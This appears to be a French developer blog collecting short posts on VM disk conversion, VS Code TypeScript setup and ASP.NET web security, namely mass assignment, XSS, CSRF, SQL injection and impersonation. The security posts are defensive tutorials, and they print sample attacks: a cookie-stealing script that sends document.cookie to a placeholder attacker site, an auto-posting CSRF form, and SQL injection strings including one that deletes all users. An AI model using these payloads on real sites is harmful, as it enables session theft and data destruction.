Convertir un fichier VMDK (VMWare) vers VHDX (Hyper-V)

Microsoft fournit un outil gratuit permettant de convertir une machine virtuelle existante vers une machine virtuelle Hyper-V: Microsoft Virtual Machine Converter.

Cet outil dispose d'une interface graphique permettant de réaliser les opération les plus communes. Cependand dans certains cas (souvent non-entreprise) il faut utiliser les cmdlet PowerShell fournis.

Voici par exemple le script permettant de convertir un disque dur virtuel de type VMDK (VMWare) vers un disque virtuel au format VHDX (Hyper-V):

Import-Module 'C:\Program Files\Microsoft Virtual Machine Converter\MvmcCmdlet.psd1'

$vmdk="sample.vmdk"
$vhdx="sample.vhdx"

ConvertTo-MvmcVirtualHardDisk -SourceLiteralPath $vmdk -DestinationLiteralPath $vhdx

Utiliser la version dev de TypeScript avec Visual Studio Code

Visual Studio Code, l'éditeur de code léger et multiplateforme de Microsoft, permet entre autres de créer des projets utilisant TypeScript. Par défault la dernière version stable de TypeScript est utilisée pour compiler les fichiers ts. Visual Studio Code étant très configurable, il est facile d'utiliser une autre version du compilateur TypeScript, notamment la version dev (nightly build). Voici la procédure :

  1. Installer TypeScript: npm install typescript@next
  2. Ouvrir le menu File / Preferences / User Settings (ou créer le fichier .vscode\settings.json)
  3. Modifier la variable typescript.tsdk
{
  "typescript.tsdk": "node_modules/typescript/lib/"
}
  1. Ajouter la tâche de compilation (CTRL+B)
{
    "version": "0.1.0",
    "command": "tsc",
    "isShellCommand": true,
    "args": ["-w", "-p", "."],
    "showOutput": "silent",
    "isWatching": true,
    "problemMatcher": "$tsc-watch"
}

Voilà

Activer le Framework .net 3.5 hors-ligne

Lorsqu'on active le Framework .net 3.5 sur Windows 8 ou Windows 2012, Windows télécharge les fichiers d'installation avant de lancer l'installation. Cependant lorsqu'on n'a pas de connexion à internet cette procédure ne fonctionne pas. Il faut indiquer l'emplacement des fichiers d'installation du Framework. Ces fichiers sont disponibles sur le DVD d'installation de Windows 8 et 2012. Il suffit donc de l'insérer et d'utiliser la commande suivante:

dism.exe /online /enable-feature /featurename:NetFX3 /Source:D:\sources\sxs /LimitAccess

Remplacer D: par la lettre du lecteur contenant le DVD d'installation de Windows

ASP MVC : l'affectation de masse (Mass Assignment)

Késako ?

Plutôt que de faire un gros pavé, je vais utiliser un exemple.

Voici le modèle utilisé

public class User
{
    public string FirstName { get; set; }
    public string LastName { get; set; }
    public bool IsAdmin { get; set; }
}

La page permettant de modifier seulement le prénom et le nom de l'utilisateur :

@using(Html.BeginForm())
{
    @Html.EditorFor(model => model.FirstName)
    @Html.EditorFor(model => model.LastName)
    <input type="submit" value="Submit" />
}

Et le controller :

[HttpPost]
public ActionResult Index(User user)
{
    return View();
}

Que se passe-t-il lorsque l'utilisateur clique sur le bouton submit ?

Le framework va essayer de créer une instance de type User et ensuite il va renseigner les différentes propriétés de cette instance. Pour trouver les valeurs de ces propriétés, il va chercher dans les valeurs qui ont été postées mais aussi dans les paramètres de l'url (GET).

Dans notre cas le formulaire ne permet de définir que le nom et le prénom. Mais que ce passe-t-il si l'attaquant devine le nom de la propriété « IsAdmin » est qu'il décide de définir sa valeur à vrai par exemple dans l'url (http://monsite.com/mapage?IsAdmin=true). Le binder va utiliser cette valeur pour créer l'instance de type User et nous allons nous retrouver avec un utilisateur considérer comme administrateur.

Comment s'en prémunir ?

Il y a principalement 2 façons de faire.

La première consiste à utiliser l'attribut Bind. Celui-ci permet d'indiquer quelles propriétés doivent être inclues ou exclues lors du binding.

public ActionResult Index([Bind(Include = "FirstName, LastName")]User user)

ou

public ActionResult Index([Bind(Exclude = "IsAdmin")]User user)

La deuxième possibilité est de définir une nouvelle classe contenant uniquement les propriétés nécessaires pour cette vue et d'utiliser un outil pour faire le mapping entre les deux classes. Automapper (http://automapper.codeplex.com/) permet de faire cela.

public class UserModel
{
    public string FirstName { get; set; }
    public string LastName { get; set; }
}
 
[HttpPost]
public ActionResult Index(UserModel user)
{
    User u = Mapper.Map<UserModel, User>(user);
    return View();
}

Et voilà.

Cross-site scripting (XSS)

XSS Kesako ?

Une vulnérabilité de type Cross Site Scripting (XSS) permet d'injecter du code dans une page web. Cela peut se produire lorsque le site internet affiche du contenu saisi par l'utilisateur sans le filtrer. Le code injecté peut être du HTML, JavaScript, VBScript qui sera interprété par le navigateur de la victime.

Prenons un exemple. Sur un forum pour m'inscrire je dois saisir un pseudo. Ce pseudo sera ensuite affiché sur toutes les pages où je vais poster un message. Si mon pseudo est Meziantou, il n'y a pas de problème. Cependant si mon pseudo est <script>alert('toto')</script> il vaut mieux que le site internet filtre le contenu que j'ai saisi en replaçant les chevrons par &lt; et &gt;. S'il ne le fait pas à chaque fois que mon pseudo apparaitra, le script sera exécuté. Tous les visiteurs de ce forum sont donc potentiellement affectés par cette vulnérabilité.

Comme dit précédemment l'attaquant va pouvoir injecter le code qu'il souhaite. Voyons donc quelques exemples de ce qu'il est possible d'injecter.

  • Afficher une iframe (contenant potentiellement du code malveillant)
<iframe src= "http://sitepirate.com" />
  • Afficher une popup pas méchante
<script>alert('Mon site est codé avec les pieds')</script>
  • Vol de cookies
<script>document.location='http://www.sitepirate.com/?'+document.cookie</script>

L'utilisateur sera redirigé vers la page http://www.sitepirate.com/?CurrentUICulture=fr-FR;%20testcookie=value en passant en paramètre tous les cookies du site sur lequel il était.

  • et bien d'autres choses pas cool…

Comment s'en prémunir ?

La solution consiste à encoder les caractères génant. Mais ce n'est pas simple du tout. En effet cela dépend de l'endroit où le texte doit être inséré.

<div>TEXTE</div>         Dans une balise HTML
<script>TEXTE</script>   Dans un script
<!--TEXTE-->             Dans un commentaire HTML
<div TEXTE=test />       Dans un nom d'attribut
<TEXTE href="/test" />   Dans le nom d'une balise
<style>TEXTE</style>     Dans un style CSS
<a href="TEXTE">clickme</a>                Dans une URL
<a href="/index?value=TEXTE">clickme</a>   Dans un paramètre GET d'une URL

Dans le premier cas il suffira d'encoder les entités HTML (remplacer & par &amp;, " par &quot;, etc.), alors que dans le dernier il faudra encoder l'URL (remplacer les caractères génant par la notation avec des % : http://www.w3schools.com/tags/ref_urlencode.asp).

L'OWASP fournit une bibliothèque permettant d'encoder les chaines de caractères pour de nombreux langages (ASP, PHP, Ruby, Python, Perl, JavaScript). A noter qu'il existe d'autres lib tout aussi puissante. En Dotnet il y a Anti-XSS Library par exemple.

Pour plus d'informations sur les traitements à faire pour éviter les attaques de type XSS je vous laisse lire les conseils de l'OWASP

ASP MVC et XSRF

ASP MVC fournit une méthode simple pour se protéger des attaques de type XSRF. En effet il suffit d'ajouter dans le formulaire la ligne

@Html.AntiForgeryToken()

et au niveau du controller

[ValidateAntiForgeryToken]
public ActionResult Create(Model model)

Cela permet au niveau de la page d'ajouter un champs caché et un cookie et de valider la valeur de ceux-ci au moment de la soumission du formulaire :

<input name="__RequestVerificationToken" type="hidden" value="geGaItAfh7cil98mAt38y3ymsCsINWs1lH9cZY52lSjZ_bCU3vTgmS8IqONXJo6rLqjAI3pnf9IyUu2O9XGS_NsiSCzhbYy3wI4IeEX6WiQ1"/>

__RequestVerificationToken : 5qqXHEEfzDa_Jn7glEmgtOP586KRLlXOSpyznXvkMooZvQjI9fmDtQ9MH07eIt2vQhBcD44lpRLmMbjTFkkh6H081thqTpdfJ6F3VFLJ0Kw1

Le problème est qu'il est facile d'oublier l'attribut. Je vous propose donc un test unitaire permettant de vérifier que chaque méthode utilisant la méthode Post est décorée avec l'attribut ValidateAntiForgeryToken

[TestMethod]
public void PostMethodShouldBeDecoratedWithValidateAntiForgeryAttribute()
{
    var controllers = typeof(MvcApplication /* N'importe quel type dans le projet web */).Assembly.DefinedTypes.Where(t => typeof(ControllerBase).IsAssignableFrom(t));
    foreach (var controller in controllers)
    {
        controller.Methods()
              .ThatReturn<ActionResult>()
              .ThatAreDecoratedWith<HttpPostAttribute>()
              .Should()
              .BeDecoratedWith<ValidateAntiForgeryTokenAttribute>("because all Actions with HttpPost require ValidateAntiForgeryToken");
    }
}

Ce test utilise la bibliothèque FluentAssertions.

Ou si vous ne souhaitez pas utiliser cette bibliothèque

[TestMethod]
public void PostMethodShouldBeDecoratedWithValidateAntiForgeryAttribute()
{
    var controllers = typeof(MvcApplication).Assembly.DefinedTypes.Where(t => typeof(ControllerBase).IsAssignableFrom(t));
    foreach (var controller in controllers)
    {
        foreach (MethodInfo method in controller.GetMethods())
        {
            if (method.GetCustomAttribute<HttpPostAttribute>() != null)
            {
                Assert.IsNotNull(method.GetCustomAttribute<ValidateAntiForgeryTokenAttribute>(), string.Format("Method {0}.{1} should be decorated with ValidateAntiForgeryTokenAttribute.", controller.Name, method.Name));
            }
        }
    }
}

Et voila, vous n'avez plus d'excuses.

Eviter les attaques CSRF

XSRF Kesako ?

Les vulnérabilités CSRF, Cross Site Request Forgery, permettent d'usurper l'identité d'un utilisateur pour effectuer une requête sur un site web. Cela se produit quand un site internet autorise un utilisateur authentifié à faire une action sensible mais que le site ne vérifie pas que l'utilisateur a réellement déclenché cette action. Au lieu de ça ils vérifient seulement que la requête vient du navigateur d'un utilisateur authorisé.

Les navigateurs exécutant du code envoyé par de multiples sites internets, il y a un danger que l'un d'entre eux puisse envoyer une requête vers un deuxième site (sans que l'utilisateur ne le sache), et celui-ci va penser à tord que l'utilisateur a authorisé la requête.

Le but de l'attaquant est d'utiliser notre cookie d'authentification déjà stocké par le navigateur pour le site internet visé. Pour cela il leur suffit de faire en sorte que le navigateur fasse une requête vers le site visé. Pour cela il y a plusieurs possibilités:

  • Convaincre l'utilisateur de cliquer sur un lien,
  • Insérer du code HTML dans un site internet que l'utilisateur visite. On peut par exemple trouver une image dont le lien est en fait un lien exécutant une action sur le site ciblé. Exemple <img src="http://foo.bar/delete/1">. Quand le navigateur reçoit une balise img, il récupère l'image spécifiée dans la source et effectue donc une requête vers le site souhaité.

On peut se dire que pour éviter ce genre d'attaques il suffit de remplacer toutes les actions réalisable par la méthode GET en POST. Et bien ça ne suffit pas. En effet l'attaquant peut utiliser un peu de javascript

<body onload="document.getElementById('form').submit()">
    <form id="form" action="http://foo.bar/delete/1" method="post">
        <input name="delete" value="Delete" />
    </form>
</body>

Le formulaire sera posté automatiquement en utilisant la méthode POST. C'est un petit peu mieux mais ça ne résoud pas le problème.

Comment s'en prémunir ?

  • Vérifier le HTTP referrer. En gros s'il ne s'agit pas de notre domaine il y a un problème. Cependant cette méthode peut être embêtante pour l'utilisateur. En effet certains proxy d'entreprise supprime le referrer de toutes les requêtes HTTP. On va donc se retrouver à bloquer des requêtes légitimes. De plus il est possible de forger sa requête et donc de définir le referrer. Cette méthode est donc foireuse.
  • Ajouter un champs invisible dans le formulaire. Le concept est de générer un chaine de caractères aléatoires et de l'ajouter au formulaire. Lorsque le client envoie le formulaire, le serveur vérifie que la valeur du champ caché est identique à ce qui a été généré. Exemple : <input id="a" name="a" type="hidden" value="hjkguyez721g45654gfd12cwx400huiyu" />, un peu comme les captcha
  • Ajouter un gâteau (cookie). Lors de la création de la page le serveur envoie un cookie. Lors du submit le client le renvoie et le serveur vérifie que le contenu du cookie est identique à ce qu'il a généré.

Voila, vous avez toutes les cartes en main pour protéger vos sites internet de ce type d'attaque.

Les Injections SQL

Les injections SQL kesako ?

Exemple typique d'une application mal codée :

public bool IsValidUser(string username, string password)
{
    string query = "SELECT * FROM [Users] WHERE username = '" + username + "' + " AND password = '" + password + "'";
    // Execution de la requête
}

Notez que la sécurité des mots de passe n'est pas abordé dans ce post.

  • Que se passe-t-il si le nom d'utilisateur contient une quote simple ?
  • Que se passe-t-il si l'utilisateur est plus méchant ?

Par exemple si l'utilisateur utilise comme nom d'utilisateur foo' -- et comme mot de passe ce que l'on veut. La commande SQL exécutée est :

SELECT * FROM [Users] WHERE username = 'foo' --' + " AND password = 'bar'

On voit que le mot de passe ne sert à rien. En fait nous avons injecté du SQL dans la commande (d'où le nom de l'attaque) pour modifier la requête exécutée. On voit donc qu'il est possible d'exécuter n'importe quelle requête. Par exemple si le nom d'utilisateur est foo'; DELETE FROM [Users] cela supprimera tous les utilisateurs de l'application. Je vous laisse imaginer tout ce qu'il est possible de faire avec ce genre d'attaque.

Mais comment s'en prémunir ?

C'est simple : il suffit d'échapper tous les caractères génants :) Mais comment faire cela quelque soit le SGBD utilisé ?

En dotnet pour exécuter une requête SQL sur votre SGBD (SQL Server, MySQL ou autre) on utilise ADO.NET. Cette couche d'accès est très bien faite et permet d'éviter les injections SQL en utilisant ce que l'on appelle les requêtes paramétrées. En fait le concept va être de remplacer les concaténations par des paramètres.

Voyons un exemple sans plus attendre.

using (IDbConnection connection = new SqlConnection(connectionString))
{
    // Ouverture de la connection
    connection.Open();
 
    // Création une commande
    IDbCommand command = connection.CreateCommand();
 
    command.CommandText = "SELECT * FROM [Users] WHERE username = @username AND password = @password"; // Il n'y a plus de concaténation
 
    // Premier paramètre : @username
    IDbDataParameter nameParameter = command.CreateParameter();
    nameParameter.ParameterName = "@username";
    nameParameter.Value = "foo ' --";
    command.Parameters.Add(nameParameter);
 
    // deuxième paramètre : @password
    IDbDataParameter passwordParameter = command.CreateParameter();
    passwordParameter.ParameterName = "@password";
    passwordParameter.Value = "bar";
    command.Parameters.Add(passwordParameter);
 
    // Exécute la commande sur le serveur
    // command.ExecuteReader();
}

Comme on peut le voir il n'y a plus de concaténation de chaine de caractères. A la place on remplace les valeurs à insérer (username et password) par des paramètres (@username et @password). On indique ensuite la valeur de ces paramètres en leur spécifiant un nom et une valeur. En utilisant ce principe ADO.NET échappe la valeur des paramètres pour nous et ce quel que soit le SGBD utilisé.

En conclusion, pour éviter les injections SQL il faut utiliser les requêtes paramétrées.

HotKey – Raccourcis globaux

Les Hokeys permettent d'associer une combinaison de touche à une action. Par exemple Alt+F4 permet de fermer l'application courante. Cette action n'est pas codé dans chaque application mais elle est codé dans Windows. J'ai eu besoin de faire la même chose dans mon application WindowManager. En effet l'application tourne en tâche de fond et doit réagir à certaines combinaisons de touche.

Comme vous vous en doutez cette fonction est assez tricky et demande donc un minimum d'interop. Voici les 2 fonctions utilisées :

[DllImport("user32.dll", SetLastError = true)]
public static extern bool RegisterHotKey(IntPtr hWnd, int id, ModifierKeys modifiers, Keys keys);

[DllImport("user32.dll", SetLastError = true)]
public static extern bool UnregisterHotKey(IntPtr hWnd, int id);

le hWnd correspond au handle de la fenêtre de votre application :

  • En WinForm : myWindow.Handle
  • En WPF : new WindowInteropHelper(myWindow).Handle

Les ModifierKeys correspondent aux touches Control, Alt, Shift et Windows. Les Keys correspondent à toutes les autres touches. En WPF ll faut soit ajouter la référence à System.Window.Forms, soit recréer l'énumération.

Pour déclarer un raccourci cela donne:

RegisterHotKey(Handle, 1, ModifierKeys.Control, Keys.A);

Maintenant que le raccourci est déclaré il faut lui associer une méthode. Pour cela il faut intéragir avec la boucle de message de Windows

ComponentDispatcher.ThreadPreprocessMessage += ThreadPreprocessMessageMethod;
private void ThreadPreprocessMessageMethod(ref MSG msg, ref bool handled)
{
    const int WmHotKey = 786;
    if (handled || (msg.message != WmHotKey || (int)msg.wParam != 1))
        return;
    // Code à exécuter
    handled = true; // indique que le message a été géré
}

Il ne reste plus qu'à désenregistrer le raccourci à la fermeture de l'application :

UnregisterHotKey(Handle, 1);

Tout le code est disponible dans le code source de l'application WindowManager.

Voila

Impersonation et sécurité

L'impersonation est un mécanisme permettant d'effectuer une action en tant qu'un autre utilisateur. Par exemple pour exécuter une action précise il faut être administrateur, on utilise l'impersonation pour exécuter l'action avec un compte administrateur.

Voyons un exemple (Ne pas l'utiliser en l'état) :

const string domainName = "meziantou";
const string userName = "administrator";
const string password = "password";
 
const int LOGON32_PROVIDER_DEFAULT = 0;
//This parameter causes LogonUser to create a primary token.
const int LOGON32_LOGON_INTERACTIVE = 2;
 
// Call LogonUser to obtain a handle to an access token.
SafeTokenHandle safeTokenHandle;
bool returnValue = LogonUser(userName, domainName, password,
    LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT,
    out safeTokenHandle);
 
if (false == returnValue)
{
    int ret = Marshal.GetLastWin32Error();
    Console.WriteLine("LogonUser failed with error code : {0}", ret);
    throw new System.ComponentModel.Win32Exception(ret);
}
 
using (safeTokenHandle)
{
    WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle());
    WindowsImpersonationContext impersonatedUser = null;
    impersonatedUser = newId.Impersonate();
 
    // Les actions sont effectuées avec le compte administrator
    File.WriteAllText("c:\\test.txt", WindowsIdentity.GetCurrent().Name); // Ecrit Meziantou\Administrator
 
    impersonatedUser.Dispose(); // Fin du code ayant besoin des droits administrateur
}

Pour le moment ce code fait ce qu'on lui demande, mais qu'en est-il de la sécurité ? En fait le seul risque d'un tel code est qu'une méthode appelant ce code puisse exécuter du code en tant qu'administrateur. Vous me direz que ce n'est pas possible car on appelle la méthode Dispose pour finir le context d'impersonation. Certes mais que ce passe-t-il si le code exécuter dans le context d'impersonation lève une exception (par exemple si le disque dur est plein) ? La méthode dispose n'est plus appelée et le code appelant continue son exécution avec les droits administrateurs !!!

public static void Main()
{
   try { Impersonate(); }
   catch { /* Administrateur */ }
}
 
public static void Impersonate()
{
   ...
   impersonatedUser = newId.Impersonate();
   throw new Exception("Fail");
   impersonatedUser.Dispose(); // N'est pas appelé
}

Il faut donc gérer ce problème de sécurité. Pour cela il existe 2 façons de faire:

  1. En gérant l'exception avec un try finally
impersonatedUser = newId.Impersonate();
try
{
    File.WriteAllText("c:\\test.txt", WindowsIdentity.GetCurrent().Name); // Affiche Meziantou\Administrator
}
finally
{
    impersonatedUser.Dispose();
}
  1. en utilisant le mot clé “using”
using(impersonatedUser = newId.Impersonate())
{
    File.WriteAllText("c:\\test.txt", WindowsIdentity.GetCurrent().Name); // Affiche Meziantou\Administrator
}

Le compilateur C# remplacera ce code par un code équivalent à la première méthode (je vous laisse décompiler pour vérifier).

En utilisant une de ces 2 méthodes, la méthode Dispose sera appelée avant que l'exception ne remonte à la méthode appelante. Il n'y a donc plus de problème de sécurité.

Voici donc le code correct complet:

const string domainName = "meziantou";
const string userName = "administrator";
const string password = "password";
 
const int LOGON32_PROVIDER_DEFAULT = 0;
//This parameter causes LogonUser to create a primary token.
const int LOGON32_LOGON_INTERACTIVE = 2;
 
// Call LogonUser to obtain a handle to an access token.
SafeTokenHandle safeTokenHandle;
bool returnValue = LogonUser(userName, domainName, password,
    LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT,
    out safeTokenHandle);
 
if (false == returnValue)
{
    int ret = Marshal.GetLastWin32Error();
    Console.WriteLine("LogonUser failed with error code : {0}", ret);
    throw new System.ComponentModel.Win32Exception(ret);
}
 
using (safeTokenHandle)
{
    WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle());
    using(WindowsImpersonationContext impersonatedUser = newId.Impersonate())
    {
        // Les actions sont effectuées avec le compte administrator
        File.WriteAllText("c:\\test.txt", WindowsIdentity.GetCurrent().Name); // Ecrit Meziantou\Administrator
    } // Fin du code ayant besoin des droits administrateur
}